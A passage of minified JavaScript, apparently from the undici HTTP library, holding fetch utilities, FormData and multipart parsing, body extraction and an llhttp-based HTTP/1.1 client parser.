K=null,q=null,Y=null,z=z54("content-type",A);if(z===null)return"failure";for(let w of z){let H=xm3(w);if(H==="failure"||H.essence==="*/*")continue;if(Y=H,Y.essence!==q){if(K=null,Y.parameters.has("charset"))K=Y.parameters.get("charset");q=Y.essence}else if(!Y.parameters.has("charset")&&K!==null)Y.parameters.set("charset",K)}if(Y==null)return"failure";return Y}function kg3(A){let K=A,q={position:0},Y=[],z="";while(q.position<K.length){if(z+=S8A((w)=>w!=='"'&&w!==",",K,q),q.position<K.length)if(K.charCodeAt(q.position)===34){if(z+=hm3(K,q),q.position<K.length)continue}else h8A(K.charCodeAt(q.position)===44),q.position++;z=bm3(z,!0,!0,(w)=>w===9||w===32),Y.push(z),z=""}return Y}function z54(A,K){let q=K.get(A,!0);if(q===null)return null;return kg3(q)}var Cg3=new TextDecoder;function Lg3(A){if(A.length===0)return"";if(A[0]===239&&A[1]===187&&A[2]===191)A=A.subarray(3);return Cg3.decode(A)}class w54{get baseUrl(){return iq4()}get origin(){return this.baseUrl?.origin}policyContainer=tq4()}class H54{settingsObject=new w54}var Rg3=new H54;J54.exports={isAborted:$g3,isCancelled:_g3,isValidEncodedURL:aq4,createDeferredPromise:Xg3,ReadableStreamFrom:mm3,tryUpgradeRequestToAPotentiallyTrustworthyURL:Og3,clampAndCoarsenConnectionTimingInfo:tm3,coarsenedSharedCurrentTime:em3,determineRequestsReferrer:qg3,makePolicyContainer:tq4,clonePolicyContainer:Kg3,appendFetchMetadata:am3,appendRequestOriginHeader:sm3,TAOCheck:om3,corsCheck:rm3,crossOriginResourcePolicyCheck:nm3,createOpaqueTimingInfo:Ag3,setRequestReferrerPolicyOnRedirect:im3,isValidHTTPToken:nq4,requestBadPort:pm3,requestCurrentURL:$RA,responseURL:oq4,responseLocationURL:Qm3,isBlobLike:Bm3,isURLPotentiallyTrustworthy:XRA,isValidReasonPhrase:cm3,sameOrigin:a71,normalizeMethod:Gg3,serializeJavascriptValueToJSONString:Zg3,iteratorMixin:Dg3,createIterator:A54,isValidHeaderName:lm3,isValidHeaderValue:sq4,isErrorLike:dm3,fullyReadBody:jg3,bytesMatch:Yg3,isReadableStreamLike:Mg3,readableStreamClose:Pg3,isomorphicEncode:r71,urlIsLocal:fg3,urlHasHttpsScheme:S66,urlIsHttpHttpsScheme:q54,readAllBytes:K54,simpleRangeHeaderValue:Ng3,buildContentRange:Tg3,parseMetadata:eq4,createInflate:vg3,extractMimeType:Eg3,getDecodeSplit:z54,utf8DecodeBytes:Lg3,environmentSettingsObject:Rg3}});var kn=v(($6w,O54)=>{O54.exports={kUrl:Symbol("url"),kHeaders:Symbol("headers"),kSignal:Symbol("signal"),kState:Symbol("state"),kDispatcher:Symbol("dispatcher")}});var h66=v((_6w,X54)=>{var{Blob:yg3,File:Ig3}=CA("node:buffer"),{kState:ZQ}=kn(),{webidl:$x}=SZ();class _x{constructor(A,K,q={}){let Y=K,z=q.type,w=q.lastModified??Date.now();this[ZQ]={blobLike:A,name:Y,type:z,lastModified:w}}stream(...A){return $x.brandCheck(this,_x),this[ZQ].blobLike.stream(...A)}arrayBuffer(...A){return $x.brandCheck(this,_x),this[ZQ].blobLike.arrayBuffer(...A)}slice(...A){return $x.brandCheck(this,_x),this[ZQ].blobLike.slice(...A)}text(...A){return $x.brandCheck(this,_x),this[ZQ].blobLike.text(...A)}get size(){return $x.brandCheck(this,_x),this[ZQ].blobLike.size}get type(){return $x.brandCheck(this,_x),this[ZQ].blobLike.type}get name(){return $x.brandCheck(this,_x),this[ZQ].name}get lastModified(){return $x.brandCheck(this,_x),this[ZQ].lastModified}get[Symbol.toStringTag](){return"File"}}$x.converters.Blob=$x.interfaceConverter(yg3);function Sg3(A){return A instanceof Ig3||A&&(typeof A.stream==="function"||typeof A.arrayBuffer==="function")&&A[Symbol.toStringTag]==="File"}X54.exports={FileLike:_x,isFileLike:Sg3}});var _RA=v((G6w,W54)=>{var{isBlobLike:s71,iteratorMixin:hg3}=ZT(),{kState:YM}=kn(),{kEnumerableProperty:G0A}=j9(),{FileLike:$54,isFileLike:bg3}=h66(),{webidl:tw}=SZ(),{File:Z54}=CA("node:buffer"),_54=CA("node:util"),G54=globalThis.File??Z54;class Gx{constructor(A){if(tw.util.markAsUncloneable(this),A!==void 0)throw tw.errors.conversionFailed({prefix:"FormData constructor",argument:"Argument 1",types:["undefined"]});this[YM]=[]}append(A,K,q=void 0){tw.brandCheck(this,Gx);let Y="FormData.append";if(tw.argumentLengthCheck(arguments,2,Y),arguments.length===3&&!s71(K))throw TypeError("Failed to execute 'append' on 'FormData': parameter 2 is not of type 'Blob'");A=tw.converters.USVString(A,Y,"name"),K=s71(K)?tw.converters.Blob(K,Y,"value",{strict:!1}):tw.converters.USVString(K,Y,"value"),q=arguments.length===3?tw.converters.USVString(q,Y,"filename"):void 0;let z=b66(A,K,q);this[YM].push(z)}delete(A){tw.brandCheck(this,Gx);let K="FormData.delete";tw.argumentLengthCheck(arguments,1,K),A=tw.converters.USVString(A,K,"name"),this[YM]=this[YM].filter((q)=>q.name!==A)}get(A){tw.brandCheck(this,Gx);let K="FormData.get";tw.argumentLengthCheck(arguments,1,K),A=tw.converters.USVString(A,K,"name");let q=this[YM].findIndex((Y)=>Y.name===A);if(q===-1)return null;return this[YM][q].value}getAll(A){tw.brandCheck(this,Gx);let K="FormData.getAll";return tw.argumentLengthCheck(arguments,1,K),A=tw.converters.USVString(A,K,"name"),this[YM].filter((q)=>q.name===A).map((q)=>q.value)}has(A){tw.brandCheck(this,Gx);let K="FormData.has";return tw.argumentLengthCheck(arguments,1,K),A=tw.converters.USVString(A,K,"name"),this[YM].findIndex((q)=>q.name===A)!==-1}set(A,K,q=void 0){tw.brandCheck(this,Gx);let Y="FormData.set";if(tw.argumentLengthCheck(arguments,2,Y),arguments.length===3&&!s71(K))throw TypeError("Failed to execute 'set' on 'FormData': parameter 2 is not of type 'Blob'");A=tw.converters.USVString(A,Y,"name"),K=s71(K)?tw.converters.Blob(K,Y,"name",{strict:!1}):tw.converters.USVString(K,Y,"name"),q=arguments.length===3?tw.converters.USVString(q,Y,"name"):void 0;let z=b66(A,K,q),w=this[YM].findIndex((H)=>H.name===A);if(w!==-1)this[YM]=[...this[YM].slice(0,w),z,...this[YM].slice(w+1).filter((H)=>H.name!==A)];else this[YM].push(z)}[_54.inspect.custom](A,K){let q=this[YM].reduce((z,w)=>{if(z[w.name])if(Array.isArray(z[w.name]))z[w.name].push(w.value);else z[w.name]=[z[w.name],w.value];else z[w.name]=w.value;return z},{__proto__:null});K.depth??=A,K.colors??=!0;let Y=_54.formatWithOptions(K,q);return`FormData ${Y.slice(Y.indexOf("]")+2)}`}}hg3("FormData",Gx,YM,"name","value");Object.defineProperties(Gx.prototype,{append:G0A,delete:G0A,get:G0A,getAll:G0A,has:G0A,set:G0A,[Symbol.toStringTag]:{value:"FormData",configurable:!0}});function b66(A,K,q){if(typeof K==="string");else{if(!bg3(K))K=K instanceof Blob?new G54([K],"blob",{type:K.type}):new $54(K,"blob",{type:K.type});if(q!==void 0){let Y={type:K.type,lastModified:K.lastModified};K=K instanceof Z54?new G54([K],q,Y):new $54(K,q,Y)}}return{name:A,value:K}}W54.exports={FormData:Gx,makeEntry:b66}});var f54=v((Z6w,V54)=>{var{isUSVString:D54,bufferToLowerCasedHeaderName:xg3}=j9(),{utf8DecodeBytes:ug3}=ZT(),{HTTP_TOKEN_CODEPOINTS:Bg3,isomorphicDecode:j54}=IV(),{isFileLike:mg3}=h66(),{makeEntry:gg3}=_RA(),t71=CA("node:assert"),{File:Fg3}=CA("node:buffer"),Qg3=globalThis.File??Fg3,Ug3=Buffer.from('form-data; name="'),M54=Buffer.from("; filename"),pg3=Buffer.from("--"),dg3=Buffer.from(`--\r `);function cg3(A){for(let K=0;K<A.length;++K)if((A.charCodeAt(K)&-128)!==0)return!1;return!0}function lg3(A){let K=A.length;if(K<27||K>70)return!1;for(let q=0;q<K;++q){let Y=A.charCodeAt(q);if(!(Y>=48&&Y<=57||Y>=65&&Y<=90||Y>=97&&Y<=122||Y===39||Y===45||Y===95))return!1}return!0}function ig3(A,K){t71(K!=="failure"&&K.essence==="multipart/form-data");let q=K.parameters.get("boundary");if(q===void 0)return"failure";let Y=Buffer.from(`--${q}`,"utf8"),z=[],w={position:0};while(A[w.position]===13&&A[w.position+1]===10)w.position+=2;let H=A.length;while(A[H-1]===10&&A[H-2]===13)H-=2;if(H!==A.length)A=A.subarray(0,H);while(!0){if(A.subarray(w.position,w.position+Y.length).equals(Y))w.position+=Y.length;else return"failure";if(w.position===A.length-2&&e71(A,pg3,w)||w.position===A.length-4&&e71(A,dg3,w))return z;if(A[w.position]!==13||A[w.position+1]!==10)return"failure";w.position+=2;let J=ng3(A,w);if(J==="failure")return"failure";let{name:O,filename:X,contentType:$,encoding:_}=J;w.position+=2;let G;{let W=A.indexOf(Y.subarray(2),w.position);if(W===-1)return"failure";if(G=A.subarray(w.position,W-4),w.position+=G.length,_==="base64")G=Buffer.from(G.toString(),"base64")}if(A[w.position]!==13||A[w.position+1]!==10)return"failure";else w.position+=2;let Z;if(X!==null){if($??="text/plain",!cg3($))$="";Z=new Qg3([G],X,{type:$})}else Z=ug3(Buffer.from(G));t71(D54(O)),t71(typeof Z==="string"&&D54(Z)||mg3(Z)),z.push(gg3(O,Z,X))}}function ng3(A,K){let q=null,Y=null,z=null,w=null;while(!0){if(A[K.position]===13&&A[K.position+1]===10){if(q===null)return"failure";return{name:q,filename:Y,contentType:z,encoding:w}}let H=Z0A((J)=>J!==10&&J!==13&&J!==58,A,K);if(H=x66(H,!0,!0,(J)=>J===9||J===32),!Bg3.test(H.toString()))return"failure";if(A[K.position]!==58)return"failure";switch(K.position++,Z0A((J)=>J===32||J===9,A,K),xg3(H)){case"content-disposition":{if(q=Y=null,!e71(A,Ug3,K))return"failure";if(K.position+=17,q=P54(A,K),q===null)return"failure";if(e71(A,M54,K)){let J=K.position+M54.length;if(A[J]===42)K.position+=1,J+=1;if(A[J]!==61||A[J+1]!==34)return"failure";if(K.position+=12,Y=P54(A,K),Y===null)return"failure"}break}case"content-type":{let J=Z0A((O)=>O!==10&&O!==13,A,K);J=x66(J,!1,!0,(O)=>O===9||O===32),z=j54(J);break}case"content-transfer-encoding":{let J=Z0A((O)=>O!==10&&O!==13,A,K);J=x66(J,!1,!0,(O)=>O===9||O===32),w=j54(J);break}default:Z0A((J)=>J!==10&&J!==13,A,K)}if(A[K.position]!==13&&A[K.position+1]!==10)return"failure";else K.position+=2}}function P54(A,K){t71(A[K.position-1]===34);let q=Z0A((Y)=>Y!==10&&Y!==13&&Y!==34,A,K);if(A[K.position]!==34)return null;else K.position++;return q=new TextDecoder().decode(q).replace(/%0A/ig,` `).replace(/%0D/ig,"\r").replace(/%22/g,'"'),q}function Z0A(A,K,q){let Y=q.position;while(Y<K.length&&A(K[Y]))++Y;return K.subarray(q.position,q.position=Y)}function x66(A,K,q,Y){let z=0,w=A.length-1;if(K)while(z<A.length&&Y(A[z]))z++;if(q)while(w>0&&Y(A[w]))w--;return z===0&&w===A.length-1?A:A.subarray(z,w+1)}function e71(A,K,q){if(A.length<K.length)return!1;for(let Y=0;Y<K.length;Y++)if(K[Y]!==A[q.position+Y])return!1;return!0}V54.exports={multipartFormDataParser:ig3,validateBoundary:lg3}});var j0A=v((W6w,R54)=>{var GRA=j9(),{ReadableStreamFrom:rg3,isBlobLike:N54,isReadableStreamLike:og3,readableStreamClose:ag3,createDeferredPromise:sg3,fullyReadBody:tg3,extractMimeType:eg3,utf8DecodeBytes:E54}=ZT(),{FormData:T54}=_RA(),{kState:D0A}=kn(),{webidl:AF3}=SZ(),{Blob:KF3}=CA("node:buffer"),u66=CA("node:assert"),{isErrored:k54,isDisturbed:qF3}=CA("node:stream"),{isArrayBuffer:YF3}=CA("node:util/types"),{serializeAMimeType:zF3}=IV(),{multipartFormDataParser:wF3}=f54(),B66;try{let A=CA("node:crypto");B66=(K)=>A.randomInt(0,K)}catch{B66=(A)=>Math.floor(Math.random(A))}var AK1=new TextEncoder;function HF3(){}var m66=globalThis.FinalizationRegistry&&process.version.indexOf("v18")!==0,g66;if(m66)g66=new FinalizationRegistry((A)=>{let K=A.deref();if(K&&!K.locked&&!qF3(K)&&!k54(K))K.cancel("Response object has been garbage collected").catch(HF3)});function C54(A,K=!1){let q=null;if(A instanceof ReadableStream)q=A;else if(N54(A))q=A.stream();else q=new ReadableStream({async pull(O){let X=typeof z==="string"?AK1.encode(z):z;if(X.byteLength)O.enqueue(X);queueMicrotask(()=>ag3(O))},start(){},type:"bytes"});u66(og3(q));let Y=null,z=null,w=null,H=null;if(typeof A==="string")z=A,H="text/plain;charset=UTF-8";else if(A instanceof URLSearchParams)z=A.toString(),H="application/x-www-form-urlencoded;charset=UTF-8";else if(YF3(A))z=new Uint8Array(A.slice());else if(ArrayBuffer.isView(A))z=new Uint8Array(A.buffer.slice(A.byteOffset,A.byteOffset+A.byteLength));else if(GRA.isFormDataLike(A)){let O=`----formdata-undici-0${`${B66(100000000000)}`.padStart(11,"0")}`,X=`--${O}\r Content-Disposition: form-data`;/*! formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */let $=(j)=>j.replace(/\n/g,"%0A").replace(/\r/g,"%0D").replace(/"/g,"%22"),_=(j)=>j.replace(/\r?\n|\r/g,`\r `),G=[],Z=new Uint8Array([13,10]);w=0;let W=!1;for(let[j,M]of A)if(typeof M==="string"){let P=AK1.encode(X+`; name="${$(_(j))}"\r \r ${_(M)}\r `);G.push(P),w+=P.byteLength}else{let P=AK1.encode(`${X}; name="${$(_(j))}"`+(M.name?`; filename="${$(M.name)}"`:"")+`\r Content-Type: ${M.type||"application/octet-stream"}\r \r `);if(G.push(P,M,Z),typeof M.size==="number")w+=P.byteLength+M.size+Z.byteLength;else W=!0}let D=AK1.encode(`--${O}--`);if(G.push(D),w+=D.byteLength,W)w=null;z=A,Y=async function*(){for(let j of G)if(j.stream)yield*j.stream();else yield j},H=`multipart/form-data; boundary=${O}`}else if(N54(A)){if(z=A,w=A.size,A.type)H=A.type}else if(typeof A[Symbol.asyncIterator]==="function"){if(K)throw TypeError("keepalive");if(GRA.isDisturbed(A)||A.locked)throw TypeError("Response body object should not be disturbed or locked");q=A instanceof ReadableStream?A:rg3(A)}if(typeof z==="string"||GRA.isBuffer(z))w=Buffer.byteLength(z);if(Y!=null){let O;q=new ReadableStream({async start(){O=Y(A)[Symbol.asyncIterator]()},async pull(X){let{value:$,done:_}=await O.next();if(_)queueMicrotask(()=>{X.close(),X.byobRequest?.respond(0)});else if(!k54(q)){let G=new Uint8Array($);if(G.byteLength)X.enqueue(G)}return X.desiredSize>0},async cancel(X){await O.return()},type:"bytes"})}return[{stream:q,source:z,length:w},H]}function JF3(A,K=!1){if(A instanceof ReadableStream)u66(!GRA.isDisturbed(A),"The body has already been consumed."),u66(!A.locked,"The stream is locked.");return C54(A,K)}function OF3(A,K){let[q,Y]=K.stream.tee();if(m66)g66.register(A,new WeakRef(q));return K.stream=q,{stream:Y,length:K.length,source:K.source}}function XF3(A){if(A.aborted)throw new DOMException("The operation was aborted.","AbortError")}function $F3(A){return{blob(){return W0A(this,(q)=>{let Y=v54(this);if(Y===null)Y="";else if(Y)Y=zF3(Y);return new KF3([q],{type:Y})},A)},arrayBuffer(){return W0A(this,(q)=>{return new Uint8Array(q).buffer},A)},text(){return W0A(this,E54,A)},json(){return W0A(this,GF3,A)},formData(){return W0A(this,(q)=>{let Y=v54(this);if(Y!==null)switch(Y.essence){case"multipart/form-data":{let z=wF3(q,Y);if(z==="failure")throw TypeError("Failed to parse body as FormData.");let w=new T54;return w[D0A]=z,w}case"application/x-www-form-urlencoded":{let z=new URLSearchParams(q.toString()),w=new T54;for(let[H,J]of z)w.append(H,J);return w}}throw TypeError('Content-Type was not one of "multipart/form-data" or "application/x-www-form-urlencoded".')},A)},bytes(){return W0A(this,(q)=>{return new Uint8Array(q)},A)}}}function _F3(A){Object.assign(A.prototype,$F3(A))}async function W0A(A,K,q){if(AF3.brandCheck(A,q),L54(A))throw TypeError("Body is unusable: Body has already been read");XF3(A[D0A]);let Y=sg3(),z=(H)=>Y.reject(H),w=(H)=>{try{Y.resolve(K(H))}catch(J){z(J)}};if(A[D0A].body==null)return w(Buffer.allocUnsafe(0)),Y.promise;return await tg3(A[D0A].body,w,z),Y.promise}function L54(A){let K=A[D0A].body;return K!=null&&(K.stream.locked||GRA.isDisturbed(K.stream))}function GF3(A){return JSON.parse(E54(A))}function v54(A){let K=A[D0A].headersList,q=eg3(K);if(q==="failure")return null;return q}R54.exports={extractBody:C54,safelyExtractBody:JF3,cloneBody:OF3,mixinBody:_F3,streamRegistry:g66,hasFinalizationRegistry:m66,bodyUnusable:L54}});var Q54=v((D6w,F54)=>{var Tq=CA("node:assert"),M5=j9(),{channels:y54}=Y0A(),F66=V66(),{RequestContentLengthMismatchError:b8A,ResponseContentLengthMismatchError:ZF3,RequestAbortedError:u54,HeadersTimeoutError:WF3,HeadersOverflowError:DF3,SocketError:HK1,InformationalError:M0A,BodyTimeoutError:jF3,HTTPParserError:MF3,ResponseExceededMaxSizeError:PF3}=_2(),{kUrl:B54,kReset:SV,kClient:d66,kParser:nO,kBlocking:DRA,kRunning:TD,kPending:VF3,kSize:I54,kWriting:Ln,kQueue:Zy,kNoRef:ZRA,kKeepAliveDefaultTimeout:fF3,kHostHeader:NF3,kPendingIdx:TF3,kRunningIdx:Vk,kError:fk,kPipelining:zK1,kSocket:P0A,kKeepAliveTimeoutValue:JK1,kMaxHeadersSize:Q66,kKeepAliveMaxTimeout:vF3,kKeepAliveTimeoutThreshold:EF3,kHeadersTimeout:kF3,kBodyTimeout:CF3,kStrictContentLength:c66,kMaxRequests:S54,kCounter:LF3,kMaxResponseSize:RF3,kOnError:yF3,kResume:Cn,kHTTPContext:m54}=MJ(),Zx=Eq4(),IF3=Buffer.alloc(0),KK1=Buffer[Symbol.species],qK1=M5.addListener,SF3=M5.removeAllListeners,U66;async function hF3(){let A=process.env.JEST_WORKER_ID?k66():void 0,K;try{K=await WebAssembly.compile(Lq4())}catch(q){K=await WebAssembly.compile(A||k66())}return await WebAssembly.instantiate(K,{env:{wasm_on_url:(q,Y,z)=>{return 0},wasm_on_status:(q,Y,z)=>{Tq(K_.ptr===q);let w=Y-Dx+Wx.byteOffset;return K_.onStatus(new KK1(Wx.buffer,w,z))||0},wasm_on_message_begin:(q)=>{return Tq(K_.ptr===q),K_.onMessageBegin()||0},wasm_on_header_field:(q,Y,z)=>{Tq(K_.ptr===q);let w=Y-Dx+Wx.byteOffset;return K_.onHeaderField(new KK1(Wx.buffer,w,z))||0},wasm_on_header_value:(q,Y,z)=>{Tq(K_.ptr===q);let w=Y-Dx+Wx.byteOffset;return K_.onHeaderValue(new KK1(Wx.buffer,w,z))||0},wasm_on_headers_complete:(q,Y,z,w)=>{return Tq(K_.ptr===q),K_.onHeadersComplete(Y,Boolean(z),Boolean(w))||0},wasm_on_body:(q,Y,z)=>{Tq(K_.ptr===q);let w=Y-Dx+Wx.byteOffset;return K_.onBody(new KK1(Wx.buffer,w,z))||0},wasm_on_message_complete:(q)=>{return Tq(K_.ptr===q),K_.onMessageComplete()||0}}})}var p66=null,l66=hF3();l66.catch();var K_=null,Wx=null,YK1=0,Dx=null,bF3=0,WRA=1,V0A=2|WRA,wK1=4|WRA,i66=8|bF3;class g54{constructor(A,K,{exports:q}){Tq(Number.isFinite(A[Q66])&&A[Q66]>0),this.llhttp=q,this.ptr=this.llhttp.llhttp_alloc(Zx.TYPE.RESPONSE),this.client=A,this.socket=K,this.timeout=null,this.timeoutValue=null,this.timeoutType=null,this.statusCode=null,this.statusText="",this.upgrade=!1,this.headers=[],this.headersSize=0,this.headersMaxSize=A[Q66],this.shouldKeepAlive=!1,this.paused=!1,this.resume=this.resume.bind(this),this.bytesRead=0,this.keepAlive="",this.contentLength="",this.connection="",this.maxResponseSize=A[RF3]}setTimeout(A,K){if(A!==this.timeoutValue||K&WRA^this.timeoutType&WRA){if(this.timeout)F66.clearTimeout(this.timeout),this.timeout=null;if(A)if(K&WRA)this.timeout=F66.setFastTimeout(h54,A,new WeakRef(this));else this.timeout=setTimeout(h54,A,new WeakRef(this)),this.timeout.unref();this.timeoutValue=A}else if(this.timeout){if(this.timeout.refresh)this.timeout.refresh()}this.timeoutType=K}resume(){if(this.socket.destroyed||!this.paused)return;if(Tq(this.ptr!=null),Tq(K_==null),this.llhttp.llhttp_resume(this.ptr),Tq(this.timeoutType===wK1),this.timeout){if(this.timeout.refresh)this.timeout.refresh()}this.paused=!1,this.execute(this.socket.read()||IF3),this.readMore()}readMore(){while(!this.paused&&this.ptr){let A=this.socket.read();if(A===null)break;this.execute(A)}}execute(A){Tq(this.ptr!=null),Tq(K_==null),Tq(!this.paused);let{socket:K,llhttp:q}=this;if(A.length>YK1){if(Dx)q.free(Dx);YK1=Math.ceil(A.length/4096)*4096,Dx=q.malloc(YK1)}new Uint8Array(q.memory.buffer,Dx,YK1).set(A);try{let Y;try{Wx=A,K_=this,Y=q.llhttp_execute(this.ptr,Dx,A.length)}catch(w){throw w}finally{K_=null,Wx=null}let z=q.llhttp_get_error_pos(this.ptr)-Dx;if(Y===Zx.ERROR.PAUSED_UPGRADE)this.onUpgrade(A.slice(z));else if(Y===Zx.ERROR.PAUSED)this.paused=!0,K.unshift(A.slice(z));else if(Y!==Zx.ERROR.OK){let w=q.llhttp_get_error_reason(this.ptr),H="";if(w){let J=new Uint8Array(q.memory.buffer,w).indexOf(0);H="Response does not match the HTTP/1.1 protocol ("+Buffer.from(q.memory.buffer,w,J).toString()+")"}throw new MF3(H,Zx.ERROR[Y],A.slice(z))}}catch(Y){M5.destroy(K,Y)}}destroy(){Tq(this.ptr!=null),Tq(K_==null),this.llhttp.llhttp_free(this.ptr),this.ptr=null,this.timeout&&F66.clearTimeout(this.timeout),this.timeout=null,this.timeoutValue=null,this.timeoutType=null,this.paused=!1}onStatus(A){this.statusText=A.toString()}onMessageBegin(){let{socket:A,client:K}=this;if(A.destroyed)return-1;let q=K[Zy][K[Vk]];if(!q)return-1;q.onResponseStarted()}onHeaderField(A){let K=this.headers.length;if((K&1)===0)this.headers.push(A);else this.headers[K-1]=Buffer.concat([this.headers[K-1],A]);this.trackHeader(A.length)}onHeaderValue(A){let K=this.headers.length;if((K&1)===1)this.headers.push(A),K+=1;else this.headers[K-1]=Buffer.concat([this.headers[K-1],A]);let q=this.headers[K-2];if(q.length===10){let Y=M5.bufferToLowerCasedHeaderName(q);if(Y==="keep-alive")this.keepAlive+=A.toString();else if(Y==="connection")this.connection+=A.toString()}else if(q.length===14&&M5.bufferToLowerCasedHeaderName(q)==="content-length")this.contentLength+=A.toString();this.trackHeader(A.length)}trackHeader(A){if(this.headersSize+=A,this.headersSize>=this.headersMaxSize)M5.destroy(this.socket,new DF3)}onUpgrade(A){let{upgrade:K,client:q,socket:Y,headers:z,statusCode:w}=this;Tq(K),Tq(q[P0A]===Y),Tq(!Y.destroyed),Tq(!this.paused),Tq((z.length&1)===0);let H=q[Zy][q[Vk]];Tq(H),Tq(H.upgrade||H.method==="CONNECT"),this.statusCode=null,this.statusText="",this.shouldKeepAlive=null,this.headers=[],this.headersSize=0,Y.unshift(A),Y[nO].destroy(),Y[nO]=null,Y[d66]=null,Y[fk]=null,SF3(Y),q[P0A]=null,q[m54]=null,q[Zy][q[Vk]++]=null,q.emit("disconnect",q[B54],[q],new M0A("upgrade"));try{H.onUpgrade(w,z,Y)}catch(J){M5.destroy(Y,J)}q[Cn]()}onHeadersComplete(A,K,q){let{client:Y,socket:z,headers:w,statusText:H}=this;if(z.destroyed)return-1;let J=Y[Zy][Y[Vk]];if(!J)return-1;if(Tq(!this.upgrade),Tq(this.statusCode<200),A===100)return M5.destroy(z,new HK1("bad response",M5.getSocketInfo(z))),-1;if(K&&!J.upgrade)return M5.destroy(z,new HK1("bad upgrade",M5.getSocketInfo(z))),-1;if(Tq(this.timeoutType===V0A),this.statusCode=A,this.shouldKeepAlive=q||J.method==="HEAD"&&!z[SV]&&this.connection.toLowerCase()==="keep-alive",this.statusCode>=200){let X=J.bodyTimeout!=null?J.bodyTimeout:Y[CF3];this.setTimeout(X,wK1)}else if(this.timeout){if(this.timeout.refresh)this.timeout.refresh()}if(J.method==="CONNECT")return Tq(Y[TD]===1),this.upgrade=!0,2;if(K)return Tq(Y[TD]===1),this.upgrade=!0,2;if(Tq((this.headers.length&1)===0),this.headers=[],this.headersSize=0,this.shouldKeepAlive&&Y[zK1]){let X=this.keepAlive?M5.parseKeepAliveTimeout(this.keepAlive):null;if(X!=null){let $=Math.min(X-Y[EF3],Y[vF3]);if($<=0)z[SV]=!0;else Y[JK1]=$}else Y[JK1]=Y[fF3]}else z[SV]=!0;let O=J.onHeaders(A,w,this.resume,H)===!1;if(J.aborted)return-1;if(J.method==="HEAD")return 1;if(A<200)return 1;if(z[DRA])z[DRA]=!1,Y[Cn]();return O?Zx.ERROR.PAUSED:0}onBody(A){let{client:K,socket:q,statusCode:Y,maxResponseSize:z}=this;if(q.destroyed)return-1;let w=K[Zy][K[Vk]];if(Tq(w),Tq(this.timeoutType===wK1),this.timeout){if(this.timeout.refresh)this.timeout.refresh()}if(Tq(Y>=200),z>-1&&this.bytesRead+A.length>z)return M5.destroy(q,new PF3),-1;if(this.bytesRead+=A.length,w.onData(A)===!1)return Zx.ERROR.PAUSED}onMessageComplete(){let{client:A,socket:K,statusCode:q,upgrade:Y,headers:z,contentLength:w,bytesRead:H,shouldKeepAlive:J}=this;if(K.destroyed&&(!q||J))return-1;if(Y)return;Tq(q>=100),Tq((this.headers.length&1)===0);let O=A[Zy][A[Vk]];if(Tq(O),this.statusCode=null,this.statusText="",this.bytesRead=0,this.contentLength="",this.keepAlive="",this.connection="",this.headers=[],this.headersSize=0,q<200)return;if(O.method!=="HEAD"&&w&&H!==parseInt(w,10))return M5.destroy(K,new ZF3),-1;if(O.onComplete(z),A[Zy][A[Vk]++]=null,K[Ln])return Tq(A[TD]===0),M5.destroy(K,new M0A("reset")),Zx.ERROR.PAUSED;else if(!J)return M5.destroy(K,new M0A("reset")),Zx.ERROR.PAUSED;else if(K[SV]&&A[TD]===0)return M5.destroy(K,new M0A("reset")),Zx.ERROR.PAUSED;else if(A[zK1]==null||A[zK1]===1)setImmediate(()=>A[Cn]());else A[Cn]()}}function h54(A){let{socket:K,timeoutType:q,client:Y,paused:z}=A.deref();if(q===V0A){if(!K[Ln]||K.writableNeedDrain||Y[TD]>1)Tq(!z,"cannot be paused while waiting for headers"),M5.destroy(K,new WF3)}else if(q===wK1){if(!z)M5.destroy(K,new jF3)}else if(q===i66)Tq(Y[TD]===0&&Y[JK1]),M5.destroy(K,new M0A("socket idle timeout"))}async function xF3(A,K){if(A[P0A]=K,!p66)p66=await l66,l66=null;K[ZRA]=!1,K[Ln]=!1,K[SV]=!1,K[DRA]=!1,K[nO]=new g54(A,K,p66),qK1(K,"error",function(Y){Tq(Y.code!=="ERR_TLS_CERT_ALTNAME_INVALID");let z=this[nO];if(Y.code==="ECONNRESET"&&z.statusCode&&!z.shouldKeepAlive){z.onMessageComplete();return}this[fk]=Y,this[d66][yF3](Y)}),qK1(K,"readable",function(){let Y=this[nO];if(Y)Y.readMore()}),qK1(K,"end",function(){let Y=this[nO];if(Y.statusCode&&!Y.shouldKeepAlive){Y.onMessageComplete();return}M5.destroy(this,new HK1("other side closed",M5.getSocketInfo(this)))}),qK1(K,"close",function(){let Y=this[d66],z=this[nO];if(z){if(!this[fk]&&z.statusCode&&!z.shouldKeepAlive)z.onMessageComplete();this[nO].destroy(),this[nO]=null}let w=this[fk]||new HK1("closed",M5.getSocketInfo(this));if(Y[P0A]=null,Y[m54]=null,Y.destroyed){Tq(Y[VF3]===0);let H=Y[Zy].splice(Y[Vk]);for(let J=0;J<H.length;J++){let O=H[J];M5.errorRequest(Y,O,w)}}else if(Y[TD]>0&&w.code!=="UND_ERR_INFO"){let H=Y[Zy][Y[Vk]];Y[Zy][Y[Vk]++]=null,M5.errorRequest(Y,H,w)}Y[TF3]=Y[Vk],Tq(Y[TD]===0),Y.emit("disconnect",Y[B54],[Y],w),Y[Cn]()});let q=!1;return K.on("close",()=>{q=!0}),{version:"h1",defaultPipelining:1,write(...Y){return mF3(A,...Y)},resume(){uF3(A)},destroy(Y,z){if(q)queueMicrotask(z);else K.destroy(Y).on("close",z)},get destroyed(){return K.destroyed},busy(Y){if(K[Ln]||K[SV]||K[DRA])return!0;if(Y){if(A[TD]>0&&!Y.idempotent)return!0;if(A[TD]>0&&(Y.upgrade||Y.method==="CONNECT"))return!0;if(A[TD]>0&&M5.bodyLength(Y.body)!==0&&(M5.isStream(Y.body)||M5.isAsyncIterable(Y.body)||M5.isFormDataLike(Y.body)))return!0}return!1}}}function uF3(A){let K=A[P0A];if(K&&!K.destroyed){if(A[I54]===0){if(!K[ZRA]&&K.unref)K.unref(),K[ZRA]=!0}else if(K[ZRA]&&K.ref)K.ref(),K[ZRA]=!1;if(A[I54]===0){if(K[nO].timeoutType!==i66)K[nO].setTimeout(A[JK1],i66)}else if(A[TD]>0&&K[nO].statusCode<200){if(K[nO].timeoutType!==V0A){let q=A[Zy][A[Vk]],Y=q.headersTimeout!=null?q.headersTimeout:A[kF3];K[nO].setTimeout(Y,V0A)}}}}function BF3(A){return A!=="GET"&&A!=="HEAD"&&A!=="OPTIONS"&&A!=="TRACE"&&A!=="CONNECT"}function 